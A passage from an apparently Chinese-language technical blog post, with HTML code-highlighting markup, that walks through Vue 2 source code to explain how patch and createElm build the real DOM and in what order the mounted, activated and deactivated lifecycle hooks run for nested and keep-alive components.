    const { modules, nodeOps } = backend
    
    return function patch (oldVnode, vnode) {  // 接收新旧 vnode 的 `patch`函数
        ...
        //isDef 函数 : (v) =&gt; v !== undefined &amp;&amp; v !== null
        const isRealElement = isDef(oldVnode.nodeType) // 是否是真实 Dom
        if(isRealElement) {  // 首次渲染传入的 vm.$el 是真实 Dom
            oldVnode = emptyNodeAt(oldVnode)  // 将 vm.$el 转为 VNode 格式
        }
        ...
    }
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs awk"><code>export <span class="hljs-keyword">function</span> createPatchFunction(backend) {
    ...
    const { modules, nodeOps } = backend
    
    return <span class="hljs-keyword">function</span> patch (oldVnode, vnode) {  <span class="hljs-regexp">//</span> 接收新旧 vnode 的 `patch`函数
        ...
        <span class="hljs-regexp">//i</span>sDef 函数 : (v) =&gt; v !== undefined &amp;&amp; v !== null
        const isRealElement = isDef(oldVnode.nodeType) <span class="hljs-regexp">//</span> 是否是真实 Dom
        <span class="hljs-keyword">if</span>(isRealElement) {  <span class="hljs-regexp">//</span> 首次渲染传入的 vm.<span class="hljs-variable">$el</span> 是真实 Dom
            oldVnode = emptyNodeAt(oldVnode)  <span class="hljs-regexp">//</span> 将 vm.<span class="hljs-variable">$el</span> 转为 VNode 格式
        }
        ...
    }
}</code></pre>
<p>调用<code>emptyNodeAt</code>函数将传入的<code>vm.$el</code>转化为<code>VNode</code>格式。<code>VNode</code>是<code>Vue</code>定义的虚拟节点类，<code>vnode</code>是<code>VNode</code>类的实例对象。</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function emptyNodeAt(elm) {
    return new VNode(
        nodeOps.tagName(elm).toLowerCase(), // 对应tag属性
        {},  // 对应data
        [],   // 对应children
        undefined,  //对应text
        elm  // 真实dom赋值给了elm属性
    )
}
包装后的：
{
    tag: &#39;div&#39;,
    elm: &#39;&lt;div id=&quot;app&quot;&gt;&lt;/div&gt;&#39; // 真实dom
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs awk"><code><span class="hljs-keyword">function</span> emptyNodeAt(elm) {
    return new VNode(
        nodeOps.tagName(elm).toLowerCase(), <span class="hljs-regexp">//</span> 对应tag属性
        {},  <span class="hljs-regexp">//</span> 对应data
        [],   <span class="hljs-regexp">//</span> 对应children
        undefined,  <span class="hljs-regexp">//</span>对应text
        elm  <span class="hljs-regexp">//</span> 真实dom赋值给了elm属性
    )
}
包装后的：
{
    tag: <span class="hljs-string">'div'</span>,
    elm: <span class="hljs-string">'&lt;div id="app"&gt;&lt;/div&gt;'</span> <span class="hljs-regexp">//</span> 真实dom
}</code></pre>
<p>然后继续创建真实<code>Dom</code>：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="export function createPatchFunction(backend) { 
    ...
    return function patch (oldVnode, vnode) {
        const insertedVnodeQueue = []        //用于缓存 insertedVnode
        ...
        const oldElm = oldVnode.elm  //包装后的真实 Dom &lt;div id=&#39;app&#39;&gt;&lt;/div&gt;
        const parentElm = nodeOps.parentNode(oldElm)  // 首次父节点为&lt;body&gt;&lt;/body&gt;
        
        createElm(  // 创建真实 Dom
            vnode, // 传入的 vnode
            insertedVnodeQueue,  // 空数组
            parentElm,  // &lt;body&gt;&lt;/body&gt;
            nodeOps.nextSibling(oldElm)  // 下一个兄弟节点
        )
        
        return vnode.elm // 返回真实 Dom ，之后在 _update 中覆盖 vm.$el
    }
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs awk"><code>export <span class="hljs-keyword">function</span> createPatchFunction(backend) { 
    ...
    return <span class="hljs-keyword">function</span> patch (oldVnode, vnode) {
        const insertedVnodeQueue = []        <span class="hljs-regexp">//</span>用于缓存 insertedVnode
        ...
        const oldElm = oldVnode.elm  <span class="hljs-regexp">//</span>包装后的真实 Dom &lt;div id=<span class="hljs-string">'app'</span>&gt;&lt;/div&gt;
        const parentElm = nodeOps.parentNode(oldElm)  <span class="hljs-regexp">//</span> 首次父节点为&lt;body&gt;&lt;/body&gt;
        
        createElm(  <span class="hljs-regexp">//</span> 创建真实 Dom
            vnode, <span class="hljs-regexp">//</span> 传入的 vnode
            insertedVnodeQueue,  <span class="hljs-regexp">//</span> 空数组
            parentElm,  <span class="hljs-regexp">//</span> &lt;body&gt;&lt;/body&gt;
            nodeOps.nextSibling(oldElm)  <span class="hljs-regexp">//</span> 下一个兄弟节点
        )
        
        return vnode.elm <span class="hljs-regexp">//</span> 返回真实 Dom ，之后在 _update 中覆盖 vm.<span class="hljs-variable">$el</span>
    }
}</code></pre>
<p><code>createElm</code>方法根据节点类型生成真实<code>Dom</code>节点，并插入<code>parentElm</code>中。而<code>createElm</code>方法在创建元素节点的过程中，会调用<code>createChildren</code>方法创建子节点，而<code>createChildren</code>方法又会调用<code>createElm</code>方法生成子节点的真实<code>Dom</code>节点，形成了<code>createElm</code>方法的递归调用：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function createElm(vnode, insertedVnodeQueue, parentElm, ...) {
    ...
    if (createComponent(vnode, insertedVnodeQueue, parentElm, refElm)) {    //此时可忽略这一步
        return 
    }
    ...
    // 如果要创建的节点是元素节点
    vnode.elm = nodeOps.createElement(tag)  // 先创建一个空元素用于挂载子节点
    createChildren(vnode, children, insertedVnodeQueue)  // 调用 `createChildren` 方法创建子节点
    insert(parentElm, vnode.elm, refElm)  // 将真实元素 vnode.elm 插入父节点中
    ...
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> create<span class="hljs-constructor">Elm(<span class="hljs-params">vnode</span>, <span class="hljs-params">insertedVnodeQueue</span>, <span class="hljs-params">parentElm</span>, <span class="hljs-operator">...</span>)</span> {<span class="hljs-operator">
    ...
    </span><span class="hljs-keyword">if</span> (create<span class="hljs-constructor">Component(<span class="hljs-params">vnode</span>, <span class="hljs-params">insertedVnodeQueue</span>, <span class="hljs-params">parentElm</span>, <span class="hljs-params">refElm</span>)</span>) {    <span class="hljs-comment">//此时可忽略这一步</span>
        return 
    }<span class="hljs-operator">
    ...
    </span><span class="hljs-comment">// 如果要创建的节点是元素节点</span>
    vnode.elm = nodeOps.create<span class="hljs-constructor">Element(<span class="hljs-params">tag</span>)</span>  <span class="hljs-comment">// 先创建一个空元素用于挂载子节点</span>
    create<span class="hljs-constructor">Children(<span class="hljs-params">vnode</span>, <span class="hljs-params">children</span>, <span class="hljs-params">insertedVnodeQueue</span>)</span>  <span class="hljs-comment">// 调用 `createChildren` 方法创建子节点</span>
    insert(parentElm, vnode.elm, refElm)  <span class="hljs-comment">// 将真实元素 vnode.elm 插入父节点中</span><span class="hljs-operator">
    ...
</span>}</code></pre>
<p>递归创建子节点，插入父节点，最终生成<code>vm</code>的真实<code>Dom</code>节点<code>vnode.elm</code>。<br>等以上操作全部完成，就会执行<code>mounted</code>钩子函数，此时在函数中可以通过<code>this</code>访问到<code>vm.$el</code>属性，此时它为虚拟<code>vnode</code>转化而来的真实<code>Dom</code>。</p>
<h4>activated</h4>
<p>如果我们研究的实例<code>vm</code>是一个组件实例，而且它被<code>&lt;keep-alive&gt;</code>组件包裹，那么它将额外具有两个钩子函数<code>activated</code>和<code>deactivated</code>。我们假设<code>vm</code>是根 Vue 实例<code>root</code>的一个后代组件。<br>在<code>root</code>挂载时，会在它的<code>patch</code>方法中调用<code>createElm</code>方法生成真实<code>Dom</code>节点并插入<code>&lt;body&gt;</code>（<code>root</code>的父节点）。<br>如果有子节点，会先调用<code>createChildren</code>方法，在<code>createChildren</code>中通过<code>createElm</code>方法生成每个子节点的真实<code>Dom</code>节点，再将子<code>Dom</code>节点插入<code>root</code>的<code>Dom</code>节点中：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function createChildren(vnode, children, insertedVnodeQueue) {
    if (Array.isArray(children)) {
        for (var i = 0; i &lt; children.length; ++i) {
            createElm(children[i], insertedVnodeQueue, vnode.elm, null, true, children, i);    // 实参 vnode.elm 传给 parentElm 形参
        }
    }
    ...
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> create<span class="hljs-constructor">Children(<span class="hljs-params">vnode</span>, <span class="hljs-params">children</span>, <span class="hljs-params">insertedVnodeQueue</span>)</span> {
    <span class="hljs-keyword">if</span> (<span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">Array</span>.</span></span>is<span class="hljs-constructor">Array(<span class="hljs-params">children</span>)</span>) {
        <span class="hljs-keyword">for</span> (var i = <span class="hljs-number">0</span>; i &lt; children.length; ++i) {
            create<span class="hljs-constructor">Elm(<span class="hljs-params">children</span>[<span class="hljs-params">i</span>], <span class="hljs-params">insertedVnodeQueue</span>, <span class="hljs-params">vnode</span>.<span class="hljs-params">elm</span>, <span class="hljs-params">null</span>, <span class="hljs-params">true</span>, <span class="hljs-params">children</span>, <span class="hljs-params">i</span>)</span>;    <span class="hljs-comment">// 实参 vnode.elm 传给 parentElm 形参</span>
        }
    }<span class="hljs-operator">
    ...
</span>}</code></pre>
<p>所以再次回到上面的<code>createElm</code>方法，此时它被用于创建子节点，如果子节点为组件，在<code>createElm</code>中会调用<code>createComponent</code>方法对子组件进行初始化，生成子组件实例（假设就是<code>vm</code>），初始化子组件调用的是 <code>init</code> 钩子（<code>vnode</code> 有 4 个<code> management hook</code>：<code>init</code>, <code>prepatch</code>, <code>insert</code> 和 <code>destroy</code>，在 <code>render</code> 函数生成 <code>vnode</code> 时会加载到 <code>vnode.data.hook</code> 上）。</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function createComponent(vnode, insertedVnodeQueue, parentElm, refElm) {
    var i = vnode.data;
    if (isDef(i)) {
        var isReactivated = isDef(vnode.componentInstance) &amp;&amp; i.keepAlive;
        if (isDef(i = i.hook) &amp;&amp; isDef(i = i.init)) {
            i(vnode, false /* hydrating */ );    // 暂停执行 createComponent，开始调用 vnode.data.hook.init 钩子进行初始化
        }
        if (isDef(vnode.componentInstance)) {
            // 等 init 钩子执行完再执行，此时 vm 已执行完 $mount 方法，所以在 initComponent 方法中将 vnode push 到 insertedVnodeQueue 中
            initComponent(vnode, insertedVnodeQueue);    
            insert(parentElm, vnode.elm, refElm);    // 将真实元素 vnode.elm 插入父节点中
            if (isTrue(isReactivated)) {
                reactivateComponent(vnode, insertedVnodeQueue, parentElm, refElm);
            }
            return true
        }
    }
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> create<span class="hljs-constructor">Component(<span class="hljs-params">vnode</span>, <span class="hljs-params">insertedVnodeQueue</span>, <span class="hljs-params">parentElm</span>, <span class="hljs-params">refElm</span>)</span> {
    var i = vnode.data;
    <span class="hljs-keyword">if</span> (is<span class="hljs-constructor">Def(<span class="hljs-params">i</span>)</span>) {
        var isReactivated = is<span class="hljs-constructor">Def(<span class="hljs-params">vnode</span>.<span class="hljs-params">componentInstance</span>)</span><span class="hljs-operator"> &amp;&amp; </span>i.keepAlive;
        <span class="hljs-keyword">if</span> (is<span class="hljs-constructor">Def(<span class="hljs-params">i</span> = <span class="hljs-params">i</span>.<span class="hljs-params">hook</span>)</span><span class="hljs-operator"> &amp;&amp; </span>is<span class="hljs-constructor">Def(<span class="hljs-params">i</span> = <span class="hljs-params">i</span>.<span class="hljs-params">init</span>)</span>) {
            i(vnode, <span class="hljs-literal">false</span> <span class="hljs-comment">/* hydrating */</span> );    <span class="hljs-comment">// 暂停执行 createComponent，开始调用 vnode.data.hook.init 钩子进行初始化</span>
        }
        <span class="hljs-keyword">if</span> (is<span class="hljs-constructor">Def(<span class="hljs-params">vnode</span>.<span class="hljs-params">componentInstance</span>)</span>) {
            <span class="hljs-comment">// 等 init 钩子执行完再执行，此时 vm 已执行完 $mount 方法，所以在 initComponent 方法中将 vnode push 到 insertedVnodeQueue 中</span>
            init<span class="hljs-constructor">Component(<span class="hljs-params">vnode</span>, <span class="hljs-params">insertedVnodeQueue</span>)</span>;    
            insert(parentElm, vnode.elm, refElm);    <span class="hljs-comment">// 将真实元素 vnode.elm 插入父节点中</span>
            <span class="hljs-keyword">if</span> (is<span class="hljs-constructor">True(<span class="hljs-params">isReactivated</span>)</span>) {
                reactivate<span class="hljs-constructor">Component(<span class="hljs-params">vnode</span>, <span class="hljs-params">insertedVnodeQueue</span>, <span class="hljs-params">parentElm</span>, <span class="hljs-params">refElm</span>)</span>;
            }
            return <span class="hljs-literal">true</span>
        }
    }
}</code></pre>
<p>在 <code>init</code> 钩子中调用 <code>Sub</code>构造函数实例化子组件：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="init: function init(vnode, hydrating) {
    ...
    //调用 `Sub`构造函数实例化子组件，执行 `beforeCreate` 和 `created` 钩子
    var child = vnode.componentInstance = createComponentInstanceForVnode(vnode, activeInstance);
    //调用 vm.$mount，执行 `beforeMount` 钩子，然后执行 updateComponent，重复上面的流程
    child.$mount(hydrating ? vnode.elm : undefined, hydrating);    
}," title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code>init: <span class="hljs-keyword">function</span> init(vnode, hydrating) {<span class="hljs-operator">
    ...
    </span><span class="hljs-comment">//调用 `Sub`构造函数实例化子组件，执行 `beforeCreate` 和 `created` 钩子</span>
    var child = vnode.componentInstance = create<span class="hljs-constructor">ComponentInstanceForVnode(<span class="hljs-params">vnode</span>, <span class="hljs-params">activeInstance</span>)</span>;
    <span class="hljs-comment">//调用 vm.$mount，执行 `beforeMount` 钩子，然后执行 updateComponent，重复上面的流程</span>
    child.<span class="hljs-constructor">$mount(<span class="hljs-params">hydrating</span> ? <span class="hljs-params">vnode</span>.<span class="hljs-params">elm</span> : <span class="hljs-params">undefined</span>, <span class="hljs-params">hydrating</span>)</span>;    
},</code></pre>
<p>初始化完成后，会调用子组件实例<code>vm</code>的<code>$mount</code>方法进行挂载，执行<code>patch</code>方法，在<code>vm</code>的<code>patch</code>方法中又会调用<code>createElm</code>方法生成真实<code>Dom</code>，这时子组件实例会难以避免地再次执行<code>createComponent</code>方法：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function createElm(vnode, insertedVnodeQueue, parentElm, refElm) { 
    ...
    if (createComponent(vnode, insertedVnodeQueue, parentElm, refElm)) {    // 如果子节点为组件，调用 createComponent 方法对子组件进行初始化；之后在子组件的 `patch` 方法中又会调用 `createElm` 方法
          return      
    }    
    //继续创建真实节点
    ...    
    vnode.elm = nodeOps.createElement(tag) 
    createChildren(vnode, children, insertedVnodeQueue);    //从这里开始暂停，在 createChildren 中 createElm 子节点
    insert(parentElm, vnode.elm, refElm);        //将真实元素 vnode.elm 插入父节点中
    ...
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> create<span class="hljs-constructor">Elm(<span class="hljs-params">vnode</span>, <span class="hljs-params">insertedVnodeQueue</span>, <span class="hljs-params">parentElm</span>, <span class="hljs-params">refElm</span>)</span> {<span class="hljs-operator"> 
    ...
    </span><span class="hljs-keyword">if</span> (create<span class="hljs-constructor">Component(<span class="hljs-params">vnode</span>, <span class="hljs-params">insertedVnodeQueue</span>, <span class="hljs-params">parentElm</span>, <span class="hljs-params">refElm</span>)</span>) {    <span class="hljs-comment">// 如果子节点为组件，调用 createComponent 方法对子组件进行初始化；之后在子组件的 `patch` 方法中又会调用 `createElm` 方法</span>
          return      
    }    
    <span class="hljs-comment">//继续创建真实节点</span><span class="hljs-operator">
    ...    
    </span>vnode.elm = nodeOps.create<span class="hljs-constructor">Element(<span class="hljs-params">tag</span>)</span> 
    create<span class="hljs-constructor">Children(<span class="hljs-params">vnode</span>, <span class="hljs-params">children</span>, <span class="hljs-params">insertedVnodeQueue</span>)</span>;    <span class="hljs-comment">//从这里开始暂停，在 createChildren 中 createElm 子节点</span>
    insert(parentElm, vnode.elm, refElm);        <span class="hljs-comment">//将真实元素 vnode.elm 插入父节点中</span><span class="hljs-operator">
    ...
</span>}</code></pre>
<p>这个时候<code>createComponent</code>不会执行初始化操作，而是直接返回<code>undefined</code>，这样就可以继续创建真实节点，如果后代还有组件，又是一个循环……<br>所以，父子节点的创建、挂载钩子执行顺序为：<br>父<code>beforeCreate</code> =&gt;  父<code>created</code> =&gt;  父<code>beforeMount</code> =&gt; 子<code>beforeCreate</code> =&gt; 子<code>created</code> =&gt; 子<code>beforeMount</code></p>
<p>回到<code>mounted</code>生命周期的<code>createPatchFunction</code>方法，在它返回的<code>patch</code>方法中，私有变量<code>insertedVnodeQueue</code>用于存储这些插入的后代组件的<code>vnode</code>：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function patch() {
    var insertedVnodeQueue = [];
    ...
    invokeInsertHook(vnode, insertedVnodeQueue, isInitialPatch);    //调用 insert 钩子
    return vnode.elm    //真实 Dom 元素
}
...
//`patch`方法就是 _update 中的 __patch__ 方法，
//它返回真实 Dom 元素给根 Vue 实例的 $el，之后会在 mountComponent 中调用根 Vue 实例的 mounted 钩子(具体看前面 mountComponent 和 _update 方法)
root.$el = root.__patch__(...)    // _update 中
...
callHook(root, &#39;mounted&#39;);        // mountComponent 中" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs awk"><code><span class="hljs-keyword">function</span> patch() {
    var insertedVnodeQueue = [];
    ...
    invokeInsertHook(vnode, insertedVnodeQueue, isInitialPatch);    <span class="hljs-regexp">//</span>调用 insert 钩子
    return vnode.elm    <span class="hljs-regexp">//</span>真实 Dom 元素
}
...
<span class="hljs-regexp">//</span>`patch`方法就是 _update 中的 __patch__ 方法，
<span class="hljs-regexp">//</span>它返回真实 Dom 元素给根 Vue 实例的 <span class="hljs-variable">$el</span>，之后会在 mountComponent 中调用根 Vue 实例的 mounted 钩子(具体看前面 mountComponent 和 _update 方法)
root.<span class="hljs-variable">$el</span> = root.__patch__(...)    <span class="hljs-regexp">//</span> _update 中
...
callHook(root, <span class="hljs-string">'mounted'</span>);        <span class="hljs-regexp">//</span> mountComponent 中</code></pre>
<p><code>vm</code>是<code>root</code>的后代，<code>vm.$vnode</code>也在<code>root</code>实例的<code>patch</code>方法的<code>insertedVnodeQueue</code>中。在<code>invokeInsertHook</code>函数中，会调用这些<code>vnode</code>的<code>insert</code>钩子:</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function invokeInsertHook(vnode, queue, initial) {
    // delay insert hooks for component root nodes, invoke them after the
    // element is really inserted
    if (isTrue(initial) &amp;&amp; isDef(vnode.parent)) {    
        vnode.parent.data.pendingInsert = queue;    //缓存 insertedVnode
    } else {
        //只有最初的实例的 initial 为 false，所以会延迟到根 Vue 实例 patch 方法的末尾调用所有后代组件的 insert 钩子
        for (var i = 0; i &lt; queue.length; ++i) {
            queue[i].data.hook.insert(queue[i]);    //调用缓存的 insertedVnode 的 insert 钩子
        }
    }
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> invoke<span class="hljs-constructor">InsertHook(<span class="hljs-params">vnode</span>, <span class="hljs-params">queue</span>, <span class="hljs-params">initial</span>)</span> {
    <span class="hljs-comment">// delay insert hooks for component root nodes, invoke them after the</span>
    <span class="hljs-comment">// element is really inserted</span>
    <span class="hljs-keyword">if</span> (is<span class="hljs-constructor">True(<span class="hljs-params">initial</span>)</span><span class="hljs-operator"> &amp;&amp; </span>is<span class="hljs-constructor">Def(<span class="hljs-params">vnode</span>.<span class="hljs-params">parent</span>)</span>) {    
        vnode.parent.data.pendingInsert = queue;    <span class="hljs-comment">//缓存 insertedVnode</span>
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-comment">//只有最初的实例的 initial 为 false，所以会延迟到根 Vue 实例 patch 方法的末尾调用所有后代组件的 insert 钩子</span>
        <span class="hljs-keyword">for</span> (var i = <span class="hljs-number">0</span>; i &lt; queue.length; ++i) {
            queue<span class="hljs-literal">[<span class="hljs-identifier">i</span>]</span>.data.hook.insert(queue<span class="hljs-literal">[<span class="hljs-identifier">i</span>]</span>);    <span class="hljs-comment">//调用缓存的 insertedVnode 的 insert 钩子</span>
        }
    }
}</code></pre>
<p>假如当前调用的是<code>vm.$vnode.data.hook.insert</code>方法：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="insert: function insert(vnode) {    //传入 vm.$vnode
    var context = vnode.context;        //父组件实例
    var componentInstance = vnode.componentInstance;    //vnode 对应的组件实例 vm
    if (!componentInstance._isMounted) {
        componentInstance._isMounted = true;
        callHook(componentInstance, &#39;mounted&#39;);    //调用 vm 的 mounted 钩子函数（所以子组件的 mounted 钩子先于父组件被调用）
    }
    if (vnode.data.keepAlive) {        //true
        if (context._isMounted) {
            // 父组件更新中
            queueActivatedComponent(componentInstance);    // 父组件更新时，将 `vm` push 到 Vue 全局变量 activatedChildren 中，等待执行 `activated` 钩子函数
        } else {
            // 父组件挂载中
            activateChildComponent(componentInstance, true /* direct */ );    //调用 `vm` 的 `activated` 钩子函数
        }
    }
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs awk"><code>insert: <span class="hljs-keyword">function</span> insert(vnode) {    <span class="hljs-regexp">//</span>传入 vm.<span class="hljs-variable">$vnode</span>
    var context = vnode.context;        <span class="hljs-regexp">//</span>父组件实例
    var componentInstance = vnode.componentInstance;    <span class="hljs-regexp">//</span>vnode 对应的组件实例 vm
    <span class="hljs-keyword">if</span> (!componentInstance._isMounted) {
        componentInstance._isMounted = true;
        callHook(componentInstance, <span class="hljs-string">'mounted'</span>);    <span class="hljs-regexp">//</span>调用 vm 的 mounted 钩子函数（所以子组件的 mounted 钩子先于父组件被调用）
    }
    <span class="hljs-keyword">if</span> (vnode.data.keepAlive) {        <span class="hljs-regexp">//</span>true
        <span class="hljs-keyword">if</span> (context._isMounted) {
            <span class="hljs-regexp">//</span> 父组件更新中
            queueActivatedComponent(componentInstance);    <span class="hljs-regexp">//</span> 父组件更新时，将 `vm` push 到 Vue 全局变量 activatedChildren 中，等待执行 `activated` 钩子函数
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-regexp">//</span> 父组件挂载中
            activateChildComponent(componentInstance, true <span class="hljs-regexp">/* direct */</span> );    <span class="hljs-regexp">//</span>调用 `vm` 的 `activated` 钩子函数
        }
    }
}</code></pre>
<p>由此可知，<code>Vue</code>会按照<code>root</code>实例的<code>patch</code>方法的<code>insertedVnodeQueue</code>中<code>vnode</code>的顺序执行<code>mounted</code>钩子。而在节点树中，越底端的组件越先创建好完好的真实<code>Dom</code>节点并插入父<code>Dom</code>节点中，其<code>vnode</code>也越先被<code>push</code>到<code>insertedVnodeQueue</code>中，所以越先执行它的<code>mounted</code>钩子。<br>所以，完整的父子节点的创建、挂载钩子执行顺序为：<br>父<code>beforeCreate</code> =&gt;  父<code>created</code> =&gt;  父<code>beforeMount</code> =&gt; 子<code>beforeCreate</code> =&gt; 子<code>created</code> =&gt; 子<code>beforeMount</code> =&gt; 子<code>mounted</code> =&gt; 父<code>mounted</code></p>
<p>在<code>vm.$vnode.data.hook.insert</code>方法中调用的<code>activateChildComponent</code>函数会调用<code>vm</code>及其后代组件的<code>activated</code>钩子函数：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function activateChildComponent(vm, direct) {
    ...
    if (vm._inactive || vm._inactive === null) {
        vm._inactive = false;
        for (var i = 0; i &lt; vm.$children.length; i++) {
            activateChildComponent(vm.$children[i]);    //递归调用子组件的 activated 钩子
        }
        callHook(vm, &#39;activated&#39;);        //调用 vm 的 activated 钩子
    }
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> activate<span class="hljs-constructor">ChildComponent(<span class="hljs-params">vm</span>, <span class="hljs-params">direct</span>)</span> {<span class="hljs-operator">
    ...
    </span><span class="hljs-keyword">if</span> (vm._inactive<span class="hljs-operator"> || </span>vm._inactive<span class="hljs-operator"> === </span>null) {
        vm._inactive = <span class="hljs-literal">false</span>;
        <span class="hljs-keyword">for</span> (var i = <span class="hljs-number">0</span>; i &lt; vm.$children.length; i++) {
            activate<span class="hljs-constructor">ChildComponent(<span class="hljs-params">vm</span>.$<span class="hljs-params">children</span>[<span class="hljs-params">i</span>])</span>;    <span class="hljs-comment">//递归调用子组件的 activated 钩子</span>
        }
        call<span class="hljs-constructor">Hook(<span class="hljs-params">vm</span>, '<span class="hljs-params">activated</span>')</span>;        <span class="hljs-comment">//调用 vm 的 activated 钩子</span>
    }
}</code></pre>
<p>在<code>vm</code>首次挂载，调用<code>mounted</code>钩子函数后，会马上调用<code>activated</code>钩子函数。<br>之后<code>vm</code>的<code>activated</code>钩子函数会在 <code>keep-alive</code> 组件激活时调用激活时被调用，具体调用时机是在<code>flushSchedulerQueue</code>函数执行完<code>queue</code>中所有的<code>watchers</code>后。</p>
<h4>deactivated</h4>
<p><code>vm</code>的<code>deactivated</code>钩子函数会在 <code>keep-alive</code> 组件停用时被调用。<br>在<code>patch</code>方法的最后，会删除旧节点：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function patch() {
    ...
    removeVnodes(parentElm, [oldVnode], 0, 0);        // 在 removeVnodes 中调用 invokeDestroyHook(oldVnode) 删除旧节点
    invokeInsertHook(vnode, insertedVnodeQueue, isInitialPatch);
    return vnode.elm
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> patch<span class="hljs-literal">()</span> {<span class="hljs-operator">
    ...
    </span>remove<span class="hljs-constructor">Vnodes(<span class="hljs-params">parentElm</span>, [<span class="hljs-params">oldVnode</span>], 0, 0)</span>;        <span class="hljs-comment">// 在 removeVnodes 中调用 invokeDestroyHook(oldVnode) 删除旧节点</span>
    invoke<span class="hljs-constructor">InsertHook(<span class="hljs-params">vnode</span>, <span class="hljs-params">insertedVnodeQueue</span>, <span class="hljs-params">isInitialPatch</span>)</span>;
    return vnode.elm
}</code></pre>
<p>如果要删除的<code>vnode</code>有<code>destroy</code>钩子，则调用<code>vnode.data.hook.destroy</code>：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function invokeDestroyHook(vnode) {
    var i, j;
    var data = vnode.data;
    if (isDef(data)) {
        if (isDef(i = data.hook) &amp;&amp; isDef(i = i.destroy)) {
            i(vnode);        //调用 vnode.data.hook.destroy 钩子
        }
        ...
    }
}
destroy: function destroy(vnode) {
    var componentInstance = vnode.componentInstance;
    if (!componentInstance._isDestroyed) {
        if (!vnode.data.keepAlive) {                                
            componentInstance.$destroy();        //    调用 vm.$destroy()
        } else {
            deactivateChildComponent(componentInstance, true /* direct */ );    //调用子组件的 &#39;deactivated&#39; 钩子
        }
    }
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> invoke<span class="hljs-constructor">DestroyHook(<span class="hljs-params">vnode</span>)</span> {
    var i, j;
    var data = vnode.data;
    <span class="hljs-keyword">if</span> (is<span class="hljs-constructor">Def(<span class="hljs-params">data</span>)</span>) {
        <span class="hljs-keyword">if</span> (is<span class="hljs-constructor">Def(<span class="hljs-params">i</span> = <span class="hljs-params">data</span>.<span class="hljs-params">hook</span>)</span><span class="hljs-operator"> &amp;&amp; </span>is<span class="hljs-constructor">Def(<span class="hljs-params">i</span> = <span class="hljs-params">i</span>.<span class="hljs-params">destroy</span>)</span>) {
            i(vnode);        <span class="hljs-comment">//调用 vnode.data.hook.destroy 钩子</span>
        }<span class="hljs-operator">
        ...
    </span>}
}
destroy: <span class="hljs-keyword">function</span> destroy(vnode) {
    var componentInstance = vnode.componentInstance;
    <span class="hljs-keyword">if</span> (!componentInstance._isDestroyed) {
        <span class="hljs-keyword">if</span> (!vnode.data.keepAlive) {                                
            componentInstance.<span class="hljs-constructor">$destroy()</span>;        <span class="hljs-comment">//    调用 vm.$destroy()</span>
        } <span class="hljs-keyword">else</span> {
